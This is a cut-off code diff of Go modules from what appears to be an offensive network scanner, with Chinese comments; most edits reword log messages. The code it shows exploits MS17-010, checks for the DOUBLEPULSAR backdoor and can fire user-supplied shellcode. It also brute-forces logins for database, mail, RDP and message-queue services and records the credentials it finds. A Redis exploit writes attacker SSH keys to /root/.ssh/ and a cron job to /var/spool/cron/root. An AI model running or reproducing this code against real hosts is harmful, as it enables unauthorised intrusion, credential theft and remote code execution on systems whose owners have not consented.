negotiateProtocolRequest, err = hex.DecodeString(decrypted) negotiateProtocolRequest, err = hex.DecodeString(decrypted)
if err != nil { if err != nil {
log.Fatalf("解码协议请求失败: %v", err) Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
os.Exit(1)
} }
// 解密会话请求 // 解密会话请求
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key) decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
if err != nil { if err != nil {
log.Fatalf("解密会话请求失败: %v", err) Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
os.Exit(1)
} }
sessionSetupRequest, err = hex.DecodeString(decrypted) sessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil { if err != nil {
log.Fatalf("解码会话请求失败: %v", err) Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
os.Exit(1)
} }
// 解密连接请求 // 解密连接请求
decrypted, err = AesDecrypt(treeConnectRequest_enc, key) decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
if err != nil { if err != nil {
log.Fatalf("解密连接请求失败: %v", err) Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
os.Exit(1)
} }
treeConnectRequest, err = hex.DecodeString(decrypted) treeConnectRequest, err = hex.DecodeString(decrypted)
if err != nil { if err != nil {
log.Fatalf("解码连接请求失败: %v", err) Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
os.Exit(1)
} }
// 解密管道请求 // 解密管道请求
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key) decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
if err != nil { if err != nil {
log.Fatalf("解密管道请求失败: %v", err) Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
os.Exit(1)
} }
transNamedPipeRequest, err = hex.DecodeString(decrypted) transNamedPipeRequest, err = hex.DecodeString(decrypted)
if err != nil { if err != nil {
log.Fatalf("解码管道请求失败: %v", err) Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
os.Exit(1)
} }
// 解密会话设置请求 // 解密会话设置请求
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key) decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
if err != nil { if err != nil {
log.Fatalf("解密会话设置请求失败: %v", err) Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
os.Exit(1)
} }
trans2SessionSetupRequest, err = hex.DecodeString(decrypted) trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil { if err != nil {
log.Fatalf("解码会话设置请求失败: %v", err) Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
os.Exit(1)
} }
} }
// MS17010 扫描入口函数 // MS17010 扫描入口函数
func MS17010(info *Common.HostInfo) error { func MS17010(info *Common.HostInfo) error {
// 暴力破解模式下跳过扫描
if Common.DisableBrute { if Common.DisableBrute {
return nil return nil
} }
// 执行MS17-010漏洞扫描
err := MS17010Scan(info) err := MS17010Scan(info)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err)) Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
} }
return err return err
} }
// MS17010Scan 执行MS17-010漏洞扫描
func MS17010Scan(info *Common.HostInfo) error { func MS17010Scan(info *Common.HostInfo) error {
ip := info.Host ip := info.Host
// 连接目标445端口 // 连接目标
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second) conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
if err != nil { if err != nil {
return err return fmt.Errorf("连接错误: %v", err)
} }
defer conn.Close() defer conn.Close()
// 设置连接超时
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return err return fmt.Errorf("设置超时错误: %v", err)
} }
// 发送SMB协议协商请求 // SMB协议协商
if _, err = conn.Write(negotiateProtocolRequest); err != nil { if _, err = conn.Write(negotiateProtocolRequest); err != nil {
return err return fmt.Errorf("发送协议请求错误: %v", err)
} }
// 读取响应
reply := make([]byte, 1024) reply := make([]byte, 1024)
if n, err := conn.Read(reply); err != nil || n < 36 { if n, err := conn.Read(reply); err != nil || n < 36 {
return err if err != nil {
return fmt.Errorf("读取协议响应错误: %v", err)
}
return fmt.Errorf("协议响应不完整")
} }
// 检查协议响应状态
if binary.LittleEndian.Uint32(reply[9:13]) != 0 { if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return err return fmt.Errorf("协议协商被拒绝")
} }
// 发送会话建立请求 // 建立会话
if _, err = conn.Write(sessionSetupRequest); err != nil { if _, err = conn.Write(sessionSetupRequest); err != nil {
return err return fmt.Errorf("发送会话请求错误: %v", err)
} }
// 读取响应
n, err := conn.Read(reply) n, err := conn.Read(reply)
if err != nil || n < 36 { if err != nil || n < 36 {
return err if err != nil {
return fmt.Errorf("读取会话响应错误: %v", err)
}
return fmt.Errorf("会话响应不完整")
} }
// 检查会话响应状态
if binary.LittleEndian.Uint32(reply[9:13]) != 0 { if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return errors.New("无法确定目标是否存在漏洞") return fmt.Errorf("会话建立失败")
} }
// 提取操作系统信息 // 提取系统信息
var os string var os string
sessionSetupResponse := reply[36:n] sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 { if wordCount := sessionSetupResponse[0]; wordCount != 0 {
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 { if n != int(byteCount)+45 {
fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip) Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
} else { } else {
// 查找Unicode字符串结束标记(两个连续的0字节)
for i := 10; i < len(sessionSetupResponse)-1; i++ { for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i]) os = string(sessionSetupResponse[10:i])
@ -163,69 +169,76 @@ func MS17010Scan(info *Common.HostInfo) error {
} }
} }
// 获取用户ID // 树连接请求
userID := reply[32:34] userID := reply[32:34]
treeConnectRequest[32] = userID[0] treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1] treeConnectRequest[33] = userID[1]
// 发送树连接请求
if _, err = conn.Write(treeConnectRequest); err != nil { if _, err = conn.Write(treeConnectRequest); err != nil {
return err return fmt.Errorf("发送树连接请求错误: %v", err)
} }
if n, err := conn.Read(reply); err != nil || n < 36 { if n, err := conn.Read(reply); err != nil || n < 36 {
return err if err != nil {
return fmt.Errorf("读取树连接响应错误: %v", err)
}
return fmt.Errorf("树连接响应不完整")
} }
// 获取树ID并设置后续请求 // 命名管道请求
treeID := reply[28:30] treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0] transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1] transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0] transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1] transNamedPipeRequest[33] = userID[1]
// 发送命名管道请求
if _, err = conn.Write(transNamedPipeRequest); err != nil { if _, err = conn.Write(transNamedPipeRequest); err != nil {
return err return fmt.Errorf("发送管道请求错误: %v", err)
} }
if n, err := conn.Read(reply); err != nil || n < 36 { if n, err := conn.Read(reply); err != nil || n < 36 {
return err if err != nil {
return fmt.Errorf("读取管道响应错误: %v", err)
}
return fmt.Errorf("管道响应不完整")
} }
// 检查漏洞状态 // 漏洞检测
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
// 目标存在MS17-010漏洞 if os != "" {
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os)) Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
} else {
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
}
// 如果指定了shellcode,执行漏洞利用 // DOUBLEPULSAR后门检测
defer func() {
if Common.Shellcode != "" {
MS17010EXP(info)
}
}()
// 检测DOUBLEPULSAR后门
trans2SessionSetupRequest[28] = treeID[0] trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1] trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0] trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1] trans2SessionSetupRequest[33] = userID[1]
if _, err = conn.Write(trans2SessionSetupRequest); err != nil { if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
return err return fmt.Errorf("发送后门检测请求错误: %v", err)
} }
if n, err := conn.Read(reply); err != nil || n < 36 { if n, err := conn.Read(reply); err != nil || n < 36 {
return err if err != nil {
return fmt.Errorf("读取后门检测响应错误: %v", err)
}
return fmt.Errorf("后门检测响应不完整")
} }
if reply[34] == 0x51 { if reply[34] == 0x51 {
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip)) Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
} }
} else {
// 未检测到漏洞,仅输出系统信息 // Shellcode利用
Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os)) if Common.Shellcode != "" {
defer MS17010EXP(info)
}
} else if os != "" {
Common.LogInfo(fmt.Sprintf("系统信息 %s [%s]", ip, os))
} }
return err return nil
} }

View File

@ -82,7 +82,7 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
} }
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v", errlog := fmt.Sprintf("MSSQL %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)

View File

@ -33,14 +33,14 @@ func MemcachedScan(info *Common.HostInfo) error {
rev := make([]byte, 1024) rev := make([]byte, 1024)
n, err := client.Read(rev) n, err := client.Read(rev)
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err) errlog := fmt.Sprintf("Memcached %v:%v %v", info.Host, info.Ports, err)
Common.LogError(errlog) Common.LogError(errlog)
return err return err
} }
// 检查响应内容 // 检查响应内容
if strings.Contains(string(rev[:n]), "STAT") { if strings.Contains(string(rev[:n]), "STAT") {
result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost) result := fmt.Sprintf("Memcached %s 未授权访问", realhost)
Common.LogSuccess(result) Common.LogSuccess(result)
} }

View File

@ -41,13 +41,13 @@ func ModbusScan(info *Common.HostInfo) error {
// 验证响应 // 验证响应
if isValidModbusResponse(response[:n]) { if isValidModbusResponse(response[:n]) {
result := fmt.Sprintf("[+] Modbus服务 %v:%v 无认证访问", host, port) result := fmt.Sprintf("Modbus服务 %v:%v 无认证访问", host, port)
Common.LogSuccess(result) Common.LogSuccess(result)
// 尝试读取更多设备信息 // 尝试读取更多设备信息
deviceInfo := parseModbusResponse(response[:n]) deviceInfo := parseModbusResponse(response[:n])
if deviceInfo != "" { if deviceInfo != "" {
Common.LogSuccess(fmt.Sprintf("[+] 设备信息: %s", deviceInfo)) Common.LogSuccess(fmt.Sprintf("设备信息: %s", deviceInfo))
} }
return nil return nil
} }

View File

@ -15,7 +15,7 @@ func MongodbScan(info *Common.HostInfo) error {
_, err := MongodbUnauth(info) _, err := MongodbUnauth(info)
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err) errlog := fmt.Sprintf("MongoDB %v:%v %v", info.Host, info.Ports, err)
Common.LogError(errlog) Common.LogError(errlog)
} }
return err return err
@ -41,7 +41,7 @@ func MongodbUnauth(info *Common.HostInfo) (bool, error) {
// 检查响应结果 // 检查响应结果
if strings.Contains(reply, "totalLinesWritten") { if strings.Contains(reply, "totalLinesWritten") {
result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost) result := fmt.Sprintf("MongoDB %v 未授权访问", realhost)
Common.LogSuccess(result) Common.LogSuccess(result)
return true, nil return true, nil
} }

View File

@ -91,7 +91,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
// 连接成功 // 连接成功
select { select {
case successChan <- struct{}{}: // 标记成功 case successChan <- struct{}{}: // 标记成功
successLog := fmt.Sprintf("[+] MySQL %v:%v %v %v", successLog := fmt.Sprintf("MySQL %v:%v %v %v",
info.Host, info.Ports, task.user, task.pass) info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(successLog) Common.LogSuccess(successLog)
default: default:
@ -105,7 +105,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v", errlog := fmt.Sprintf("MySQL %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)

View File

@ -100,7 +100,7 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", errlog := fmt.Sprintf("Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -177,7 +177,7 @@ func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
} }
// 连接成功 // 连接成功
result := fmt.Sprintf("[+] Neo4j服务 %v:%v ", host, port) result := fmt.Sprintf("Neo4j服务 %v:%v ", host, port)
if user != "" { if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else { } else {

View File

@ -18,7 +18,7 @@ func NetBIOS(info *Common.HostInfo) error {
netbios, _ := NetBIOS1(info) netbios, _ := NetBIOS1(info)
output := netbios.String() output := netbios.String()
if len(output) > 0 { if len(output) > 0 {
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output) result := fmt.Sprintf("NetBios %-15s %s", info.Host, output)
Common.LogSuccess(result) Common.LogSuccess(result)
return nil return nil
} }

View File

@ -85,7 +85,7 @@ func OracleScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v", errlog := fmt.Sprintf("Oracle %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -152,7 +152,7 @@ func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
} }
// 连接成功 // 连接成功
result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password) result := fmt.Sprintf("Oracle %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result) Common.LogSuccess(result)
return true, nil return true, nil
} }

View File

@ -77,7 +77,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
err = result.err err = result.err
if result.success && err == nil { if result.success && err == nil {
// 连接成功 // 连接成功
successLog := fmt.Sprintf("[+] POP3服务 %v:%v 用户名: %v 密码: %v", successLog := fmt.Sprintf("POP3服务 %v:%v 用户名: %v 密码: %v",
info.Host, info.Ports, task.user, task.pass) info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(successLog) Common.LogSuccess(successLog)
resultChan <- nil resultChan <- nil
@ -89,7 +89,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", errlog := fmt.Sprintf("POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -198,7 +198,7 @@ func tryPOP3Auth(conn net.Conn, host string, port string, user string, pass stri
} }
if strings.Contains(response, "+OK") { if strings.Contains(response, "+OK") {
result := fmt.Sprintf("[+] POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) result := fmt.Sprintf("POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
if isTLS { if isTLS {
result += " (TLS)" result += " (TLS)"
} }

View File

@ -85,7 +85,7 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v", errlog := fmt.Sprintf("PostgreSQL %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -152,7 +152,7 @@ func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error)
} }
// 连接成功 // 连接成功
result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password) result := fmt.Sprintf("PostgreSQL %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result) Common.LogSuccess(result)
return true, nil return true, nil
} }

View File

@ -73,9 +73,9 @@ func RdpScan(info *Common.HostInfo) (tmperr error) {
// 连接成功 // 连接成功
var result string var result string
if Common.Domain != "" { if Common.Domain != "" {
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass) result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass)
} else { } else {
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", info.Host, port, user, pass) result = fmt.Sprintf("RDP %v:%v:%v %v", info.Host, port, user, pass)
} }
Common.LogSuccess(result) Common.LogSuccess(result)
select { select {
@ -86,7 +86,7 @@ func RdpScan(info *Common.HostInfo) (tmperr error) {
} }
// 连接失败 // 连接失败
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err) errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err)
Common.LogError(errlog) Common.LogError(errlog)
} }
}() }()
@ -139,9 +139,9 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute
// 连接成功 // 连接成功
var result string var result string
if domain != "" { if domain != "" {
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass) result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
} else { } else {
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass) result = fmt.Sprintf("RDP %v:%v:%v %v", host, port, user, pass)
} }
Common.LogSuccess(result) Common.LogSuccess(result)
*signal = true *signal = true
@ -149,7 +149,7 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute
} }
// 连接失败 // 连接失败
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err) errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
Common.LogError(errlog) Common.LogError(errlog)
} }
} }

View File

@ -82,7 +82,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
case result := <-done: case result := <-done:
err = result.err err = result.err
if result.success && err == nil { if result.success && err == nil {
result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v", result := fmt.Sprintf("RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v",
info.Host, info.Ports, task.user, task.pass) info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(result) Common.LogSuccess(result)
resultChan <- nil resultChan <- nil
@ -94,7 +94,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", errlog := fmt.Sprintf("RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -158,7 +158,7 @@ func RabbitMQConn(info *Common.HostInfo, user string, pass string) (bool, error)
// 如果成功连接 // 如果成功连接
if conn != nil { if conn != nil {
result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) result := fmt.Sprintf("RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
Common.LogSuccess(result) Common.LogSuccess(result)
return true, nil return true, nil
} }

View File

@ -90,7 +90,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] Redis %v:%v %v %v", errlog := fmt.Sprintf("Redis %v:%v %v %v",
info.Host, info.Ports, pass, err) info.Host, info.Ports, pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -162,12 +162,12 @@ func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
// 获取配置信息 // 获取配置信息
dbfilename, dir, err = getconfig(conn) dbfilename, dir, err = getconfig(conn)
if err != nil { if err != nil {
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass) result := fmt.Sprintf("Redis %s %s", realhost, pass)
Common.LogSuccess(result) Common.LogSuccess(result)
return true, err return true, err
} }
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename) result := fmt.Sprintf("Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
Common.LogSuccess(result) Common.LogSuccess(result)
// 尝试利用 // 尝试利用
@ -186,28 +186,28 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
// 建立TCP连接 // 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err)) Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err))
return flag, err return flag, err
} }
defer conn.Close() defer conn.Close()
// 设置读取超时 // 设置读取超时
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err)) Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err))
return flag, err return flag, err
} }
// 发送info命令测试未授权访问 // 发送info命令测试未授权访问
_, err = conn.Write([]byte("info\r\n")) _, err = conn.Write([]byte("info\r\n"))
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err)) Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
return flag, err return flag, err
} }
// 读取响应 // 读取响应
reply, err := readreply(conn) reply, err := readreply(conn)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err)) Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
return flag, err return flag, err
} }
@ -217,19 +217,19 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
// 获取Redis配置信息 // 获取Redis配置信息
dbfilename, dir, err = getconfig(conn) dbfilename, dir, err = getconfig(conn)
if err != nil { if err != nil {
result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost) result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
Common.LogSuccess(result) Common.LogSuccess(result)
return flag, err return flag, err
} }
// 输出详细信息 // 输出详细信息
result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename) result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
Common.LogSuccess(result) Common.LogSuccess(result)
// 尝试漏洞利用 // 尝试漏洞利用
err = Expoilt(realhost, conn) err = Expoilt(realhost, conn)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err)) Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
} }
} }
@ -246,53 +246,53 @@ func Expoilt(realhost string, conn net.Conn) error {
// 测试目录写入权限 // 测试目录写入权限
flagSsh, flagCron, err := testwrite(conn) flagSsh, flagCron, err := testwrite(conn)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err)) Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err))
return err return err
} }
// SSH密钥写入测试 // SSH密钥写入测试
if flagSsh { if flagSsh {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost)) Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /root/.ssh/", realhost))
// 如果指定了密钥文件则尝试写入 // 如果指定了密钥文件则尝试写入
if Common.RedisFile != "" { if Common.RedisFile != "" {
writeok, text, err := writekey(conn, Common.RedisFile) writeok, text, err := writekey(conn, Common.RedisFile)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err)) Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
return err return err
} }
if writeok { if writeok {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost)) Common.LogSuccess(fmt.Sprintf("Redis %v SSH公钥写入成功", realhost))
} else { } else {
Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text)) Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text))
} }
} }
} }
// 定时任务写入测试 // 定时任务写入测试
if flagCron { if flagCron {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost)) Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /var/spool/cron/", realhost))
// 如果指定了shell命令则尝试写入定时任务 // 如果指定了shell命令则尝试写入定时任务
if Common.RedisShell != "" { if Common.RedisShell != "" {
writeok, text, err := writecron(conn, Common.RedisShell) writeok, text, err := writecron(conn, Common.RedisShell)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err)) Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err))
return err return err
} }
if writeok { if writeok {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost)) Common.LogSuccess(fmt.Sprintf("Redis %v 成功写入 /var/spool/cron/root", realhost))
} else { } else {
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text)) Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text))
} }
} }
} }
// 恢复数据库配置 // 恢复数据库配置
if err = recoverdb(dbfilename, dir, conn); err != nil { if err = recoverdb(dbfilename, dir, conn); err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err)) Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
} }
return err return err
@ -328,11 +328,11 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
// 读取密钥文件 // 读取密钥文件
key, err := Readfile(filename) key, err := Readfile(filename)
if err != nil { if err != nil {
text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err) text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
return flag, text, err return flag, text, err
} }
if len(key) == 0 { if len(key) == 0 {
text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename) text = fmt.Sprintf("密钥文件 %s 为空", filename)
return flag, text, err return flag, text, err
} }
@ -414,7 +414,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
// 解析目标主机地址 // 解析目标主机地址
target := strings.Split(host, ":") target := strings.Split(host, ":")
if len(target) < 2 { if len(target) < 2 {
return flag, "[-] 主机地址格式错误", err return flag, "主机地址格式错误", err
} }
scanIp, scanPort := target[0], target[1] scanIp, scanPort := target[0], target[1]
@ -495,40 +495,40 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
fmt.Println("[*] 正在测试 /root/.ssh/ 目录写入权限...") fmt.Println("[*] 正在测试 /root/.ssh/ 目录写入权限...")
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil { if err != nil {
fmt.Printf("[-] 发送SSH目录测试命令失败: %v\n", err) fmt.Printf("发送SSH目录测试命令失败: %v\n", err)
return flag, flagCron, err return flag, flagCron, err
} }
text, err := readreply(conn) text, err := readreply(conn)
if err != nil { if err != nil {
